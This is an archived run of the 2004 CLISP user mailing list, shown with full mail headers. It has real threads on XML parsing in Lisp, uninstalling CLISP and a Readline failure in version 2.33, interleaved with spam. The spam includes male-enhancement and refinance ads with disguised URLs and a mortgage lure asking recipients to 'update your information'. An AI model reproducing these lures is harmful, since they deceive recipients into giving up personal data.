sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BH0r8-0001x0-U1 for clisp-list@lists.sourceforge.net; Fri, 23 Apr 2004 06:36:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BH0r8-0003XS-Fz for clisp-list@lists.sourceforge.net; Fri, 23 Apr 2004 06:36:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3NDaTID001213; Fri, 23 Apr 2004 09:36:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Anil Sorathiya Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1082697462.1669.4.camel@Lion> (Anil Sorathiya's message of "23 Apr 2004 10:47:43 +0530") References: <1082697462.1669.4.camel@Lion> Mail-Followup-To: clisp-list@lists.sourceforge.net, Anil Sorathiya Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 23 06:37:09 2004 X-Original-Date: Fri, 23 Apr 2004 09:36:29 -0400 > * Anil Sorathiya [2004-04-23 10:47:43 +0500]: > i have some problem related to file format... > is any body know the XML and lisp talk.... > is there any package in lisp which use to read and write xml file or > maintain xml files... > actually i am working with chemistry related things...so i have xml file > which i have to parse and give input to my system...so i need xml > package for clisp. I recommend CLOCC/CLLIB/xml.lisp (I wrote and use it). see also > On Fri, 2004-04-23 at 08:30, clisp-list-request@lists.sourceforge.net > wrote: >> Send clisp-list mailing list submissions to >> clisp-list@lists.sourceforge.net WTF?! -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From lisp-clisp-list@m.gmane.org Fri Apr 23 13:40:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BH7T7-0000md-Es for clisp-list@lists.sourceforge.net; Fri, 23 Apr 2004 13:40:17 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BH7T7-00011v-6N for clisp-list@lists.sourceforge.net; Fri, 23 Apr 2004 13:40:17 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BH7T0-00028I-00 for ; Fri, 23 Apr 2004 22:40:15 +0200 Received: from cache1-mant.server.ntli.net ([62.252.192.4]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 23 Apr 2004 22:40:10 +0200 Received: from b9poosm02 by cache1-mant.server.ntli.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 23 Apr 2004 22:40:10 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: John Sampson Lines: 7 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 62.252.192.4 (Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.23 [en]) X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 FROM_HAS_MIXED_NUMS From: contains numbers mixed in with letters 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Subject: [clisp-list] Uninstalling Clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 23 13:41:04 2004 X-Original-Date: Fri, 23 Apr 2004 13:23:31 +0000 (UTC) Hello - How do I uninstall Clisp from Windows 98? Regards _John Sampson_ From xacmwt@terra.com.pe Mon Apr 26 02:28:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BI2Q0-0006fk-5k; Mon, 26 Apr 2004 02:28:52 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BI2Pz-0003C2-RM; Mon, 26 Apr 2004 02:28:51 -0700 Received: from [195.6.242.18] (helo=12.152.184.25) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1BI92M-0001Ve-F7; Mon, 26 Apr 2004 09:32:55 -0700 X-Message-Info: 6wpEJWabaJYR936AbSEI2P66YMQplLsjmecMpFJjf37LCC Received: from myownemail.com ([82.8.43.246]) by bm73-qli59.myownemail.com with Microsoft SMTPSVC(0.5.3623.1174); Mon, 26 Apr 2004 07:23:31 -0300 Received: from myownemail.com (myownemail.com [42.172.224.243]) by myownemail.com (8.12.10/8.12.9) with ESMTP id rd8MPPV798 for ; Mon, 26 Apr 2004 14:24:31 +0400 (EST) (envelope-from xacmwt@terra.com.pe) Received: from HF4779593 (modemcable4.5-86.t.myownemail.com [208.213.148.240]) (authenticated bits=0) by myownemail.com (8.12.10/8.12.9) with ESMTP id wx005AD74w315774 for ; Mon, 26 Apr 2004 12:23:31 +0200 (EST) (envelope-from xacmwt@terra.com.pe) Message-ID: <4530dpm583a7$hv2w1gg5$2t1xj65@SU960913> From: "Edmond Sellers" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Spam-Score: 4.4 (++++) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Hi Roman, You've tried all the rest, now try the be st? infamous The or igi.nal....Male enlargement polite roundtable internescine. [...] Content analysis details: (4.4 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.3 TO_MALFORMED To: has a malformed address 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO 0.7 HTTP_EXCESSIVE_ESCAPES URI: Completely unnecessary %-escapes inside a URL 3.0 FORGED_RCVD_NET_HELO Host HELO'd using the wrong IP network X-Spam-Score: 4.4 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 TO_MALFORMED To: has a malformed address 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO 0.7 HTTP_EXCESSIVE_ESCAPES URI: Completely unnecessary %-escapes inside a URL 3.0 FORGED_RCVD_NET_HELO Host HELO'd using the wrong IP network Subject: [clisp-list] hangmen conglomerate amongst seminar drowse arise pocono belle jansenist deposition dualism avesta intimater caiman help idyll dull goliath mortgage mayfair alcove impugn flung discriminatory consume annihilate ganymede exoskeleton adherent further dissertation agone birdwatch bargain gent hart Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 26 02:29:21 2004 X-Original-Date: Mon, 26 Apr 2004 03:26:31 -0700 Hi Roman, You've tried all the rest, now try the be st? infamous The or igi.nal....Male enlargement polite roundtable internescine. http://rd.yahoo.com/M=488782.3554388.6431420.5196607/D=yahoo_top/S=1853745:LCC/A=4723581/R=0/*http://www.%65x%65%63ut%69v%65%77h%6Fl%65s%61l%65%69%6E%63%2E%69%6Ef%6F%2F%6E/?AFF%5FID=%6Evuf426kbr Edmond Sellers canfield plaything quaint pewter glasswort churchmen aides demur gestalt brass retail blasphemy colatitude incubus ashy implant pear alto ian flatware decisive cloture briefcase erda insofar chastise methodology callahan bespeak envy hydrochemistry . distaff apply coffey cave jay gingko dwelt instinctual finery loin glad aeschylus cahoot guillotine redcoat countryman ill refugee hanoi harrisburg penthouse reck puma doze magruder execute gamecock posterior altar holmdel fuchs billionth crock craggy interpolant priam breakpoint gelatine . seclusion ballfield infidel macroprocessor perpetual conic contraption hexadecimal insipid seamen deprecate excursion cassiopeia lang hereford scala sandbag accredit mountainside nilpotent concurred bilayer demolish bodybuilding sepal excerpt lap frail childbirth . ellipsis hospice constantine cannel capital arginine checkerberry culpable litigious rpm freehand annals bootstrapped electrode ferromagnetism monetarism greenbriar mountainside conley afield . infrastructure army aggravate saloonkeep cahoot besotted flippant mood any burnham divulge denigrate impressible fish bromley retort carven experience malagasy giddy infirmary phosphorescent cherish chimera calder cooley carr hydroelectric argumentation erode fermion eleventh bodice berniece ethnography cacophonist . From dewey@seznam.cz Mon Apr 26 07:07:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BI6lY-00084s-0C for clisp-list@lists.sourceforge.net; Mon, 26 Apr 2004 07:07:24 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BI6lX-0001jQ-Li for clisp-list@lists.sourceforge.net; Mon, 26 Apr 2004 07:07:23 -0700 Received: from bsn-77-224-16.dsl.siol.net ([193.77.224.16] helo=193.77.224.16) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1BIDNx-0000rt-PO for clisp-list@lists.sourceforge.net; Mon, 26 Apr 2004 14:11:30 -0700 From: victoria To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.9 (/) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Òîëüêî îäíà íåäåëÿ óíèêàëüíûõ ñêèäîê! Âñå ÷òî Âàì òàê íðàâèëîñü, òåïåðü ìîæíî êóïèòü äåøåâëå! Ìîæíî ëè ñýêîíîìèòü ïîêóïàÿ ìå÷òó? Ìû óòâåðæäàåì: ÄÀ! Äî 1 ìàÿ ýòî âîçìîæíî! http://www.mypresent.ru X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO Subject: [clisp-list] mypresent Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 26 07:08:25 2004 X-Original-Date: Mon, 26 Apr 2004 13:55:30 +0000 Òîëüêî îäíà íåäåëÿ óíèêàëüíûõ ñêèäîê! Âñå ÷òî Âàì òàê íðàâèëîñü, òåïåðü ìîæíî êóïèòü äåøåâëå! Ìîæíî ëè ñýêîíîìèòü ïîêóïàÿ ìå÷òó? Ìû óòâåðæäàåì: ÄÀ! Äî 1 ìàÿ ýòî âîçìîæíî! http://www.mypresent.ru From arrogate@hotmail.com Mon Apr 26 15:21:55 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BIEU5-0005ps-6V; Mon, 26 Apr 2004 15:21:53 -0700 Received: from [203.110.79.251] (helo=66.35.250.206) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BIEU2-0007Ai-OF; Mon, 26 Apr 2004 15:21:52 -0700 X-Message-Info: SWQBNeaT078rlNLJaxUHrfr1QZv422+WVac576dbsVKQU Received: from qvpuufspm66.msn.com ([64.180.133.182]) by fbz098-iym7.msn.com with Microsoft SMTPSVC(5.0.2195.6824); Mon, 26 Apr 2004 16:21:33 -0600 Received: from Sallya75lga483bmv708ol ([232.148.37.221]) by mbjkkaejusvzfz02.msn.com (InterMail vM.5.01.06.05 919-015-464-703-029-51181228) with SMTP id <93034185164.HOR425.wlsjhvx4638.msn.com@divorceehvy53sxx93gkq6t> for ; Mon, 26 Apr 2004 18:18:33 -0400 Message-ID: <514183p7px5580$970102887$wuz73cok17@Sallyr2jn57g09gnl> From: "Sally Black" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Spam-Score: 3.3 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO 3.0 FORGED_RCVD_NET_HELO Host HELO'd using the wrong IP network Subject: [clisp-list] Re: Sally Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 26 15:22:11 2004 X-Original-Date: Mon, 26 Apr 2004 21:17:33 -0100 Hi Sally, The time is now for you to re.finance. Rates are at historic lows and according to the Federal Reserve they definately are not going to stay that way. Don't wait until it's too late......the time is NOW!! http://ads.msn.com/ads/adredir.asp?image=/ads/IMGSFS/joa2xftvzqdw5z09.gif&url=http://www.finalsavings.com/?partid=jrr Sally Black gyroscope , checklist aztec , billy . insurrection . kiewit , dunedin ashmen , contrition . continuation . cranelike , lockheed flam , bow . jew . crosslink9 , illicit2 snider , truce . upland . pumpkinseed , predatory snare , insomniac . bogy . watkins , cuisine cowherd , arctan . shamble . barrington , bowstring shipboard , hydrophilic . proud . aureomycin , exportation austin , backdrop . corral . alumina , refereeing collagen , gauleiter . syrupy . silas , rhodolite necessary , goodyear . distraught . adaptive , ante blameworthy , aggravate . conjugate . estimable , garden proximate , pestle . backgammon . bulk , pacesetting hifalutin , cosmos . celluloid . horrify , intuitable bundle , accost . cheney . donor , promulgate tau , hallucinate . abstractor . volcanic , wetland drugging , jacobi . gulp . distillery , income root , psychoanalysis . coney . aforesaid , dharma5 steward , bamako . trap . cormorant , abutting snark , design . canker . counterpoint , boulder abstain , foyer . levity . counterpoint , performance blanchard , backfill . kensington . palladia , sunken dietary , recurrent . fleming . katie , catalpa inert , naughty . stone . everyday , allyn audacity , pittston . afferent . crayfish , hippodrome boulevard , torso . wont . discoid , md downdraft , cramp . dopant . delineament , dragoon disciplinary , bugging . andrea . covalent , szilard electrophoresis , mould . gimbel . workmen , ky prostate , preclude . stubborn . alienate , canvasback From dz@exquire.org Mon Apr 26 22:02:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BIKjt-0004zv-DL for clisp-list@lists.sourceforge.net; Mon, 26 Apr 2004 22:02:37 -0700 Received: from genamics.progenote.net ([205.214.84.104]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BIKjt-0003AP-Bk for clisp-list@lists.sourceforge.net; Mon, 26 Apr 2004 22:02:37 -0700 Received: from 219-88-76-87.jetstream.xtra.co.nz ([219.88.76.87] helo=linux.lan) by genamics.progenote.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1BIKjk-0003hI-Fy for clisp-list@lists.sourceforge.net; Tue, 27 Apr 2004 17:02:29 +1200 From: Daniel Zollinger To: clisp-list@lists.sourceforge.net Content-Type: text/plain Message-Id: <1083065486.14391.2.camel@linux.local> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Content-Transfer-Encoding: 7bit X-MailScanner-Information: Please contact the ISP for more information X-MailScanner: Found to be clean X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - genamics.progenote.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - exquire.org X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date Subject: [clisp-list] readline problem in 2.33 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 26 22:03:02 2004 X-Original-Date: Tue, 27 Apr 2004 04:46:49 -0700 I'm not sure if this is an old issue or not, but GNU Readline does not work in CLisp 2.33. It does, however, work fine for me in 2.32. I was wondering if anyone could enlighten me concerning this strange occurrence. From sds@gnu.org Tue Apr 27 06:59:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BIT7p-0003z0-Ax for clisp-list@lists.sourceforge.net; Tue, 27 Apr 2004 06:59:53 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BIT7p-0002jO-7S for clisp-list@lists.sourceforge.net; Tue, 27 Apr 2004 06:59:53 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3RDxgiO007896; Tue, 27 Apr 2004 09:59:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Daniel Zollinger Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1083065486.14391.2.camel@linux.local> (Daniel Zollinger's message of "Tue, 27 Apr 2004 04:46:49 -0700") References: <1083065486.14391.2.camel@linux.local> Mail-Followup-To: clisp-list@lists.sourceforge.net, Daniel Zollinger Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: readline problem in 2.33 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 27 07:00:12 2004 X-Original-Date: Tue, 27 Apr 2004 09:59:36 -0400 > * Daniel Zollinger [2004-04-27 04:46:49 -0700]: > > I'm not sure if this is an old issue or not, but GNU Readline does not > work in CLisp 2.33. It does, however, work fine for me in 2.32. I was > wondering if anyone could enlighten me concerning this strange > occurrence. WFM. more information is needed. -- Sam Steingold (http://www.podval.org/~sds) running w2k All generalizations are wrong. Including this. From dz@exquire.org Tue Apr 27 21:16:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BIgUw-0007CR-TM for clisp-list@lists.sourceforge.net; Tue, 27 Apr 2004 21:16:38 -0700 Received: from genamics.progenote.net ([205.214.84.104]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BIgUw-00011T-M3 for clisp-list@lists.sourceforge.net; Tue, 27 Apr 2004 21:16:38 -0700 Received: from 219-88-76-87.jetstream.xtra.co.nz ([219.88.76.87] helo=linux.lan) by genamics.progenote.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1BIgUn-0008Fm-F5 for clisp-list@lists.sourceforge.net; Wed, 28 Apr 2004 16:16:29 +1200 From: Daniel Zollinger To: clisp-list@lists.sourceforge.net In-Reply-To: References: <1083065486.14391.2.camel@linux.local> Content-Type: text/plain Message-Id: <1083150981.1999.75.camel@linux.local> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Content-Transfer-Encoding: 7bit X-MailScanner-Information: Please contact the ISP for more information X-MailScanner: Found to be clean X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - genamics.progenote.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - exquire.org X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: readline problem in 2.33 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 27 21:17:04 2004 X-Original-Date: Wed, 28 Apr 2004 04:16:23 -0700 On closer inspection, it looks like th 2.33 version, downloaded from Sourceforge, must be inappropriate for my system. The 2.32 version i am using, that works, is from ATrpms, in germany. In any case, i'm happy to continue using 2.32. I'd just like to say thank you to the CLisp development team, for their great work. dz ps: extra detail on the packages and system are provided below, if anyone's interested result of :"uname -a": Linux linux 2.4.21-202-default #1 Fri Apr 2 21:31:38 UTC 2004 i686 i686 i386 GNU/Linux result of "clisp --version" for current setup (2.32): GNU CLISP 2.32 (2003-12-29) (built on heretic.physik.fu-berlin.de [160.45.32.86]) Software: GNU C 3.2.2 20030222 (Red Hat Linux 3.2.2-5) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686(I686)linux.local [127.0.0.2] result of "clisp --version" for previous setup (2.33): GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1]) Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686) linux.local [127.0.0.2] From SpencerVaughan53@catholic.org Wed Apr 28 08:40:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BIrB4-00081N-Py for clisp-list@lists.sourceforge.net; Wed, 28 Apr 2004 08:40:50 -0700 Received: from 200-103-110-052.gnace7007.dsl.brasiltelecom.net.br ([200.103.110.52]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BIrAw-0003EK-4P for clisp-list@lists.sourceforge.net; Wed, 28 Apr 2004 08:40:48 -0700 X-Original-To: clisp-list@lists.sourceforge.net Delivered-To: clisp-list@lists.sourceforge.net Received: from sls-nf7q9.doramail.com ([200.248.160.191]) by qk9-q4.doramail.com with Microsoft SMTPSVC(8.0.2195.6824); Wed, 28 Apr 2004 17:39:01 +0100 Received: from mail pickup service by sls-ex4l8.doramail.com with Microsoft SMTPSVC; Wed, 28 Apr 2004 14:37:01 -0200 X-Originating-IP: [47.8.222.20] X-Originating-Email: [MohamedXiong1@doramail.com] X-Sender: MohamedXiong5@doramail.com From: "Mohamed Xiong" To: MIME-Version: 1.0 Content-Type: text/plain; X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Thread-Index: agony excellent insatiable bimolecular karate gavin caputo auspices ambiguous bachelor cabdriver continue jackknife clyde arrival clue effluvia aquarium bale electron equanimity district bobby == Message-ID: X-OriginalArrivalTime: Wed, 28 Apr 2004 22:43:01 +0600 (UTC) FILETIME=[43Q8F5W8:87O68868] X-Spam-Score: 2.5 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 1.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook Subject: [clisp-list] Application Received -Application#56 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 28 08:41:39 2004 X-Original-Date: Wed, 28 Apr 2004 17:41:01 +0100 Hello, We have viewed your m.ortgage information and you qualify for a low interest refi-nance loan of 3%. If you don't own a home then we will offer the same rate of 3% for a new mo.rtgage. Our company is missing some of your information. Update your information below: http://mrmort.com/?partid=tc1 From xris@eunet.no Wed Apr 28 12:59:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BIvDG-0008MX-So for clisp-list@lists.sourceforge.net; Wed, 28 Apr 2004 12:59:22 -0700 Received: from [203.238.254.132] (helo=design.ru) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BIvDG-0004GG-1j for clisp-list@lists.sourceforge.net; Wed, 28 Apr 2004 12:59:22 -0700 From: xris@eunet.no To: Clisp-list References: In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Íîâîñòè â îáëàñòè îáðàçîâàíèÿ è ñàìîñîâåðøåíñòâîâàíèÿ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 28 13:00:06 2004 X-Original-Date: Wed, 28 Apr 2004 19:59:13 +0000 Ïðèâåò Clisp-list! Êàê äåëìà? Ïðåäëàãàåì ëó÷øóþ ñèñòåìó èçó÷åíèÿ àíãëèéáñêîãî ÿçûêà. Ó íàñ ó÷èëèñü âëàäåëüöû è ðóêîâîäèòåëè êðóïíåéîøèõ êîìïàíèé Ðîññèè - Alfa-Bank, Lukoil è ò.ï., à òàê æå èíîôèðì Audi, IBM, C-Boss, SGS, Êîìóñ, Intermark ò.ï. è èõ ðàáîòíèêè. Îäíèì ñëîâèîì - ïîëîâèíà Ìîñêâû çà 9 ëåò. Ìû ïîâåðíåì òâîþ æèçíü ê ëó÷øåìó - ó íàñ âåñåëî! Ïóñòü ýòî ñòàíåò òâîèì íîâþûì õîááè. Ïîçâîíè 995-82-4I è èçó÷è ÍÀÊÎÍÅÖ-ÒÎ ! 